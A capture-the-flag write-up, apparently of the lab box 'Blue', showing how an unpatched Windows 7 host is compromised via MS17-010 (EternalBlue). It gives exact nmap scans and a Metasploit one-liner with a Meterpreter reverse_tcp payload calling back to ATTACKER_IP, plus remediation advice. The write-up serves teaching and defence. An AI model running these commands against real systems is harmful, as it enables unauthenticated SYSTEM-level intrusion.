Blue
Summary
An unpatched Windows 7 workstation exposed TCP port 445 (SMB) to the network with SMBv1 enabled and the critical MS17-010 (EternalBlue) vulnerability unpatched. I identified the flaw with a single network scan, then launched the public EternalBlue Metasploit module and received an NT AUTHORITY\SYSTEM shell in seconds — without supplying any username or password.
Because EternalBlue exploits a Windows kernel bug, I landed at the highest privilege level on the machine instantly, with no separate escalation step required. Both the user and administrator flags were read immediately from the filesystem.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path — how the box was taken
Exact commands 2
nmap -Pn -sS -sV -p 445 $TARGETnmap -Pn -p 445 --script smb-os-discovery $TARGETExact commands 1
nmap -Pn -p 445 --script smb-vuln-ms17-010 $TARGETFixApply the MS17-010 patch (KB4012212) and migrate off Windows 7Critical
Exact commands 1
msfconsole -q -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS $TARGET; set LHOST $ATTACKER_IP; set LPORT 4448; set VERIFY_ARCH true; set VERIFY_TARGET true; set payload windows/x64/meterpreter/reverse_tcp; run -z; sleep 8; sessions -l; sessions -C 'getuid'"Exact commands 2
sessions -C 'getuid'sessions -C 'whoami /priv'Exact commands 4
sessions -C 'ls C:/Users/haris/Desktop'sessions -C 'cat C:/Users/haris/Desktop/user.txt'sessions -C 'ls C:/Users/Administrator/Desktop'sessions -C 'cat C:/Users/Administrator/Desktop/root.txt'Attack patterns used
The transferable techniques behind this compromise.
EternalBlue (SMBv1 RCE)Service RCET1210CVE-2017-0144 (MS17-010)
What it is
EternalBlue exploits a buffer overflow in Microsoft's SMBv1 server (srv.sys) when handling crafted Transaction2/NT_TRANS requests. The mismatch between how SMB casts large vs. small packets lets an unauthorised user write a kernel-pool payload and gain SYSTEM-level remote code execution without authentication on unpatched Windows hosts.
Why it works
SMBv1 is a legacy protocol that should be disabled entirely; the bug went unpatched on many hosts and was weaponized in WannaCry/NotPetya. Exposure of 445/tcp to untrusted networks plus a missing MS17-010 patch is the root cause. Remediate by patching, disabling SMBv1, and segmenting SMB.
Read more
Public Exploit / Metasploit ModuleService RCET1210
What it is
Many footholds come from matching a fingerprinted service/version to a public exploit and firing a vetted Metasploit module. The disciplined flow is: confirm the version, run the module's check to validate exploitability, set LHOST/LPORT, then exploit — yielding a Meterpreter/command session in the service's context.
Why it works
Unpatched, internet-known vulnerable software is the root cause; the module just operationalizes published research. Remediate with timely patching, version hygiene, and reducing exposed service surface.
Read more
Exposed services
| 445/tcp | microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP) |